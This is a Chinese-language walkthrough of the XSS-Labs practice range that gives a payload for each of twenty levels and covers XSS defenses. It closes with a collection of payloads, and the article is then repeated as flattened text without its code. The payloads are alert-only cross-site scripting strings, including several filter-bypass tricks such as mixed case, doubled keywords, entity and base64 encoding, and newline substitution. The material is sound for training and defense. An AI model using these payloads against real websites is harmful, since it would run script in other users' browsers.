xss-labs 靶场详细攻略(附常用payload)
字数 1849 2025-08-12 11:33:52

XSS-Labs 靶场详细攻略与XSS攻击技术解析

一、XSS攻击基础概念

1.1 XSS定义与原理

XSS(Cross Site Scripting)跨站脚本攻击是一种针对HTML的注入攻击,其本质是没有遵循数据与代码分离的原则,将用户输入的数据当作代码来执行。

攻击者通过在Web页面中插入恶意脚本代码(包括但不限于JavaScript、Flash等),当用户浏览该页面时,嵌入其中的脚本代码会被执行,从而达到恶意攻击用户的目的。

1.2 XSS分类

  • 反射型XSS:非持久化,需要欺骗用户点击包含恶意代码的链接
  • 存储型XSS:持久化,恶意代码存储在服务器上
  • DOM型XSS:通过修改页面的DOM节点形成XSS

二、XSS-Labs靶场环境搭建

2.1 靶场下载

XSS-Labs靶场GitHub地址:https://github.com/do0dl3/xss-labs

2.2 过关机制

靶场每关的核心目标是让浏览器弹出alert弹窗,成功后会自动跳转到下一关。靶场通过JavaScript实现这一机制:

window.alert = function() {
    confirm("完成的不错!");
    window.location.href="level2.php?keyword=test"; // 跳转到下一关
}

三、XSS-Labs关卡详解

Level 1:基础注入

漏洞点:无任何过滤,直接输出用户输入

$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";

Payload

/level1.php?name=<script>alert(1)</script>

Level 2:HTML实体编码绕过

漏洞点:使用htmlspecialchars函数转义输出,但输入被写入value属性

$str = $_GET["keyword"];
echo "<input name=keyword value="'.$str.'">";

Payload:闭合前面的标签

"><script>alert(1)</script>

Level 3:事件处理器利用

漏洞点:使用htmlspecialchars但默认只编码双引号,单引号不转义

Payload:使用单引号和onclick事件

'onclick='alert(1)

Level 4:过滤尖括号

漏洞点:在Level 3基础上添加了对尖括号的过滤

Payload:使用双引号和onclick事件

" onclick="alert(1)

Level 5:关键字绕过

漏洞点:过滤了"on"和"script"关键字

Payload:使用JavaScript伪协议

"><a href="javascript:alert(1)">click</a>

Level 6:大小写绕过

漏洞点:过滤了多个关键字但未考虑大小写

Payload:混合大小写

"><a HrEf="javascript:alert(1)">click</a>

Level 7:双写绕过

漏洞点:将输入转为小写并替换关键字为空

Payload:双写关键字

"><scscriptript>alert(1)</sscriptcript>

Level 8:HTML字符实体编码

漏洞点:严格过滤但允许HTML实体

Payload:使用HTML实体编码

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

Level 9:白名单验证

漏洞点:要求输入必须包含"http://"

Payload:在实体编码后添加注释和http://

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;//http://

Level 10:隐藏表单利用

漏洞点:输入被隐藏,需要修改type属性

Payload:修改type为text并添加事件

?t_sort=" type="text" onclick="alert('xss')

Level 11-13:HTTP头注入

漏洞点:分别从Referer、User-Agent和Cookie获取输入

Payload:修改相应HTTP头

" type="text" onmousemove="alert(1)

Level 14:EXIF XSS

漏洞点:通过图片EXIF信息触发XSS

解决方案:创建包含XSS payload的图片文件

Level 15:ng-include指令利用

漏洞点:AngularJS的ng-include指令

Payload:包含存在漏洞的页面

http://127.0.0.1/xss-labs-master/level15.php?src='level1.php?name='

Level 16:空格绕过

漏洞点:过滤了空格

Payload:使用%0d或%0a代替空格


Level 17-18:embed标签利用

漏洞点:embed标签拼接漏洞

Payload:通过参数注入事件

?arg01=a&arg02=aaa onmousemove='alert(1)'

Level 19-20:Flash XSS

漏洞点:SWF文件漏洞利用

Payload

arg01=version&arg02=<a href="javascript:alert(1)">123</a>

四、XSS攻击防御技术

4.1 输入过滤

  • 使用htmlspecialchars函数
  • 过滤特殊字符和关键字
  • 白名单验证

4.2 输出编码

  • HTML实体编码
  • JavaScript编码
  • URL编码

4.3 其他防御措施

  • 设置HttpOnly Cookie
  • 使用Content Security Policy (CSP)
  • 输入长度限制

五、XSS Payload大全

5.1 基础Payload

<script>alert(1)</script>

<svg/onload=alert(1)>

5.2 编码Payload

<script>\u0061\u006C\u0065\u0072\u0074(1)</script>
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>

5.3 事件处理器Payload

<body onload=alert(1)>
<input autofocus onfocus=alert(1)>
<iframe src=javascript:alert(1)>

5.4 绕过技术Payload

<scr<script>ipt>alert(1)</scr</script>ipt>
<iframe%0asrc=javascript:alert(1)>

5.5 高级Payload

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+"></object>
<script>{onerror=alert}throw 1337</script>

六、总结

XSS攻击的核心在于将用户输入作为代码执行,防御的关键在于严格区分数据与代码。通过XSS-Labs靶场的实践,可以深入理解各种XSS攻击技术和防御方法。实际开发中应采用多层次防御策略,结合输入过滤、输出编码和其他安全措施,才能有效防范XSS攻击。

XSS-Labs 靶场详细攻略与XSS攻击技术解析 一、XSS攻击基础概念 1.1 XSS定义与原理 XSS(Cross Site Scripting)跨站脚本攻击是一种针对HTML的注入攻击,其本质是没有遵循数据与代码分离的原则,将用户输入的数据当作代码来执行。 攻击者通过在Web页面中插入恶意脚本代码(包括但不限于JavaScript、Flash等),当用户浏览该页面时,嵌入其中的脚本代码会被执行,从而达到恶意攻击用户的目的。 1.2 XSS分类 反射型XSS :非持久化,需要欺骗用户点击包含恶意代码的链接 存储型XSS :持久化,恶意代码存储在服务器上 DOM型XSS :通过修改页面的DOM节点形成XSS 二、XSS-Labs靶场环境搭建 2.1 靶场下载 XSS-Labs靶场GitHub地址:https://github.com/do0dl3/xss-labs 2.2 过关机制 靶场每关的核心目标是让浏览器弹出alert弹窗,成功后会自动跳转到下一关。靶场通过JavaScript实现这一机制: 三、XSS-Labs关卡详解 Level 1:基础注入 漏洞点 :无任何过滤,直接输出用户输入 Payload : Level 2:HTML实体编码绕过 漏洞点 :使用 htmlspecialchars 函数转义输出,但输入被写入value属性 Payload :闭合前面的标签 Level 3:事件处理器利用 漏洞点 :使用 htmlspecialchars 但默认只编码双引号,单引号不转义 Payload :使用单引号和onclick事件 Level 4:过滤尖括号 漏洞点 :在Level 3基础上添加了对尖括号的过滤 Payload :使用双引号和onclick事件 Level 5:关键字绕过 漏洞点 :过滤了"on"和"script"关键字 Payload :使用JavaScript伪协议 Level 6:大小写绕过 漏洞点 :过滤了多个关键字但未考虑大小写 Payload :混合大小写 Level 7:双写绕过 漏洞点 :将输入转为小写并替换关键字为空 Payload :双写关键字 Level 8:HTML字符实体编码 漏洞点 :严格过滤但允许HTML实体 Payload :使用HTML实体编码 Level 9:白名单验证 漏洞点 :要求输入必须包含"http://" Payload :在实体编码后添加注释和http:// Level 10:隐藏表单利用 漏洞点 :输入被隐藏,需要修改type属性 Payload :修改type为text并添加事件 Level 11-13:HTTP头注入 漏洞点 :分别从Referer、User-Agent和Cookie获取输入 Payload :修改相应HTTP头 Level 14:EXIF XSS 漏洞点 :通过图片EXIF信息触发XSS 解决方案 :创建包含XSS payload的图片文件 Level 15:ng-include指令利用 漏洞点 :AngularJS的ng-include指令 Payload :包含存在漏洞的页面 Level 16:空格绕过 漏洞点 :过滤了空格 Payload :使用%0d或%0a代替空格 Level 17-18:embed标签利用 漏洞点 :embed标签拼接漏洞 Payload :通过参数注入事件 Level 19-20:Flash XSS 漏洞点 :SWF文件漏洞利用 Payload : 四、XSS攻击防御技术 4.1 输入过滤 使用 htmlspecialchars 函数 过滤特殊字符和关键字 白名单验证 4.2 输出编码 HTML实体编码 JavaScript编码 URL编码 4.3 其他防御措施 设置HttpOnly Cookie 使用Content Security Policy (CSP) 输入长度限制 五、XSS Payload大全 5.1 基础Payload 5.2 编码Payload 5.3 事件处理器Payload 5.4 绕过技术Payload 5.5 高级Payload 六、总结 XSS攻击的核心在于将用户输入作为代码执行,防御的关键在于严格区分数据与代码。通过XSS-Labs靶场的实践,可以深入理解各种XSS攻击技术和防御方法。实际开发中应采用多层次防御策略,结合输入过滤、输出编码和其他安全措施,才能有效防范XSS攻击。